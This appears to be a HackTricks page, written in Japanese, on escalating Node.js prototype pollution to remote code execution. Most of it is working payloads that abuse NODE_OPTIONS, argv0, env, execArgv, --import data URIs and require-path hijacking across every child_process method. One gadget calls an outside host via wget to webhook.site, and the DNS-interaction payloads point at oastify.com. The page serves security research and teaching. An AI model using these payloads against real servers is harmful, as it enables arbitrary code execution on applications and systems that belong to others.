Prototype Pollution to RCE
Reading time: 28 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
脆弱なコード
実際のJSが以下のようなコードを使用していると想像してください:
const { execSync, fork } = require("child_process")
function isObject(obj) {
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
}
// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}
function clone(target) {
return merge({}, target)
}
// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT)
// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")
PP2RCE via env vars
PP2RCE は Prototype Pollution to RCE (リモートコード実行) を意味します。
この writeup によると、child_process
のいくつかのメソッド(fork
や spawn
など)を使用して プロセスが生成される と、normalizeSpawnArguments
メソッドが呼び出され、新しい環境変数を作成するためのプロトタイプ汚染ガジェットが使用されます:
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
コードを確認すると、属性 .env
を汚染することで poison envPairs
が可能であることがわかります。
__proto__
の汚染
warning
child_process
ライブラリの normalizeSpawnArguments
関数の動作により、プロセスのために 新しい環境変数を設定する ために何かを呼び出すとき、何かを汚染する だけで済みます。
例えば、__proto__.avar="valuevar"
を実行すると、プロセスは avar
という名前の変数を valuevar
という値で生成します。
しかし、環境変数が最初のものであるためには、.env
属性 を 汚染する 必要があり、(一部のメソッドでは)その変数が 最初のもの になります(攻撃を可能にします)。
だからこそ、次の攻撃では NODE_OPTIONS
が .env
の中にないのです。
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
constructor.prototype
の汚染
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.constructor.prototype.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"
proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2
PP2RCE via env vars + cmdline
前のものと似たペイロードがこの解説で提案されました。 主な違いは次のとおりです:
- nodejs ペイロードをファイル
/proc/self/environ
に保存する代わりに、/proc/self/cmdline
のargv0内に保存します。 - その後、**
NODE_OPTIONS
を介してファイル/proc/self/environ
を要求する代わりに、/proc/self/cmdline
**を要求します。
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec2
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
Filesystem-less PP2RCE via --import
(Node ≥ 19)
note
Node.js 19以降、CLIフラグ--import
は--require
と同様にNODE_OPTIONS
を通じて渡すことができます。--require
とは対照的に、--import
はdata-URIを理解するため、攻撃者はファイルシステムへの書き込みアクセスを必要としません。これにより、ロックダウンされた環境や読み取り専用環境での信頼性が大幅に向上します。
この技術は2023年5月にPortSwiggerの研究によって初めて公に文書化され、その後いくつかのCTFチャレンジで再現されています。
攻撃は、上記の--require /proc/self/*
トリックと概念的に同じですが、ファイルを指すのではなく、ペイロードを直接base64エンコードされたdata:
URLに埋め込みます:
const { fork } = require("child_process")
// Manual pollution
b = {}
// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) – same as earlier examples
fork("./a_file.js");
脆弱なマージ/クローンシンクを悪用することは、ページの上部に示されています:
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);
// Gadget trigger
fork("./a_file.js");
// → creates /tmp/pp2rce_import
なぜ --import
が役立つのか
- ディスクとの相互作用なし – ペイロードはプロセスのコマンドラインと環境内で完全に移動します。
- ESM専用環境で動作 –
--import
は、ECMAScript Modules にデフォルト設定されている最新の Node リリースで JavaScript をプリロードするための標準的な方法です。 - 一部の
--require
ホワイトリストをバイパス – 一部のハードニングライブラリは--require
のみをフィルタリングし、--import
はそのまま残します。
warning
NODE_OPTIONS
における --import
のサポートは、最新の Node 22.2.0(2025年6月)でも存在します。 Node コアチームは将来的にデータURIを制限することを検討していますが、執筆時点では緩和策は利用できません。
DNS インタラクション
以下のペイロードを使用することで、以前に議論した NODE_OPTIONS 環境変数を悪用し、DNS インタラクションで機能したかどうかを検出することが可能です:
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}
または、WAFがドメインを要求するのを避けるために:
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}
PP2RCE 脆弱性 child_process 関数
このセクションでは、child_process
の各関数を分析してコードを実行し、その関数を強制的にコードを実行させる技術を使用できるかどうかを確認します:
exec
の悪用
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)
// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec("something")
// stdin trick - not working
// Not using stdin
// Windows
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec("something")
execFile
の悪用
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")
// stdin trick - not working
// Not using stdin
// Windows - not working
execFile
が機能するためには、NODE_OPTIONSが機能するためにnodeを実行する必要があります。
もしnodeを実行していない場合は、実行されているものの実行を変更する方法を見つけ、環境変数を設定する必要があります。
他の技術はこの要件なしで機能します。なぜなら、プロトタイプ汚染を通じて実行されるものを変更することが可能だからです。(この場合、たとえ.shell
を汚染できても、実行されているものは汚染されません)。
fork
の悪用
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork("something")
// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
p = {}
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork("something")
// stdin trick - not working
// Not using stdin
// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork("./a_file.js")
// Windows
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork("./a_file.js")
spawn
の悪用
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// stdin trick - not working
// Not using stdin
// Windows
// NOT working after require(fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync
の悪用
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync("something")
// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync("something")
// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execFileSync-stdin}\n"
var proc = execFileSync("something")
// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
execSync
の悪用
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")
// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")
// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
var proc = execSync("something")
// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
spawnSync
の悪用
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/spawnSync-stdin}\n"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// Windows
// NOT working after require(fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
スポーンの強制
前の例では、ガジェットをトリガーする方法を見ましたが、spawn
を呼び出す機能が 存在する 必要があります(何かを実行するために使用されるすべての child_process
メソッドはそれを呼び出します)。前の例ではそれが コードの一部 でしたが、コードが 呼び出していない 場合はどうでしょうか。
requireファイルパスの制御
この 別の書き込み では、ユーザーが require
が実行されるファイルパスを制御できます。そのシナリオでは、攻撃者は システム内の .js
ファイルを見つける 必要があります。これにより、インポート時にスポーンメソッドが 実行されます。
インポート時にスポーン関数を呼び出す一般的なファイルのいくつかの例は次のとおりです:
- /path/to/npm/scripts/changelog.js
- /opt/yarn-v1.22.19/preinstall.js
- 以下にさらにファイルを見つけてください
次のシンプルなスクリプトは、関数内の呼び出しを表示しない(パディングなしで) child_process からの 呼び出し を検索します:
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
以前のスクリプトによって見つかった興味深いファイル
- node_modules/buffer/bin/download-node-tests.js:17:
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
- node_modules/buffer/bin/test.js:10:
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
- node_modules/npm/scripts/changelog.js:16:
const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)
- node_modules/detect-libc/bin/detect-libc.js:18:
process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);
- node_modules/jest-expo/bin/jest.js:26:
const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });
- node_modules/buffer/bin/download-node-tests.js:17:
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
- node_modules/buffer/bin/test.js:10:
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
- node_modules/runtypes/scripts/format.js:13:
const npmBinPath = execSync('npm bin').toString().trim();
- node_modules/node-pty/scripts/publish.js:31:
const result = cp.spawn('npm', args, { stdio: 'inherit' });
プロトタイプ汚染を介したrequireファイルパスの設定
warning
前の技術は、ユーザーがファイルのパスを制御する必要があることを要求します。 しかし、これは常に真ではありません。
ただし、プロトタイプ汚染の後にrequireを実行するコードがある場合、たとえrequireされるパスを制御できなくても、プロトタイプ汚染を悪用して異なるものを強制することができます。 したがって、コード行がrequire("./a_file.js")
やrequire("bytes")
のようであっても、汚染したパッケージをrequireします。
したがって、プロトタイプ汚染の後にrequireが実行され、spawn関数がない場合、これが攻撃です:
- システム内の
.js
ファイルを見つける それがrequireされるとchild_process
を使用して何かを実行する - 攻撃しているプラットフォームにファイルをアップロードできる場合、そのようなファイルをアップロードすることができます
- パスを汚染して、
.js
ファイルのrequireロードを強制する それがchild_processで何かを実行します - 環境/コマンドラインを汚染して、child_process実行関数が呼び出されたときに任意のコードを実行します(最初の技術を参照)
絶対require
実行されたrequireが絶対的(require("bytes")
)で、パッケージがpackage.json
ファイルにmainを含まない場合、main
属性を汚染して、requireが異なるファイルを実行するようにすることができます。
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Install package bytes (it doesn't have a main in package.json)
// npm install bytes
// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"
// Trigger gadget
var proc = require("bytes")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
相対require - 1
もし相対パスが絶対パスの代わりに読み込まれると、nodeは異なるパスを読み込むことができます:
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"
// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
相対的なrequire - 2
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require
// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
相対的なrequire - 3
前のものと同様に、この解説で見つかりました。
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}
require("./usage.js")
VM Gadgets
論文https://arxiv.org/pdf/2207.11171.pdfでは、vm
ライブラリのいくつかのメソッドからのcontextExtensions
の制御がガジェットとして使用できることも示されています。
しかし、前述のchild_process
メソッドと同様に、最新バージョンでは修正されています。
Fixes & Unexpected protections
プロトタイプ汚染は、アクセスされているオブジェクトの属性が未定義である場合に機能することに注意してください。コード内でその属性に値が設定されている場合、上書きすることはできません。
2022年6月、このコミットから、変数options
は{}
の代わりに**kEmptyObject
です。これにより、RCEを取得するためにoptions
の属性に影響を与えるプロトタイプ汚染が防止されます。
少なくともv18.4.0からこの保護が実装されており、したがってspawn
およびspawnSync
のエクスプロイト**は、オプションが使用されていない場合、メソッドに影響を与えなくなりました。
このコミットでは、vmライブラリの**contextExtensions
のプロトタイプ汚染が、{}
の代わりにkEmptyObject
に設定することである程度修正**されました。
info
Node 20 (2023年4月) & Node 22 (2025年4月)はさらなる強化を提供しました:いくつかのchild_process
ヘルパーは、参照を使用するのではなく、ユーザー提供のoptions
をCopyOptions()
でコピーします。これにより、stdio
のようなネストされたオブジェクトの汚染がブロックされますが、上記で説明したNODE_OPTIONS
/ --import
トリックに対しては保護されません – これらのフラグは環境変数を介して引き続き受け入れられます。完全な修正には、親プロセスから伝播できるCLIフラグを制限する必要があり、これはNode Issue #50559で追跡されています。
Other Gadgets
- https://github.com/yuske/server-side-prototype-pollution
- https://github.com/KTH-LangSec/server-side-prototype-pollution
References
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://blog.sonarsource.com/blitzjs-prototype-pollution/
- https://arxiv.org/pdf/2207.11171.pdf
- https://portswigger.net/research/prototype-pollution-node-no-filesystem
- https://www.nodejs-security.com/blog/2024/prototype-pollution-regression
- https://portswigger.net/research/server-side-prototype-pollution
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。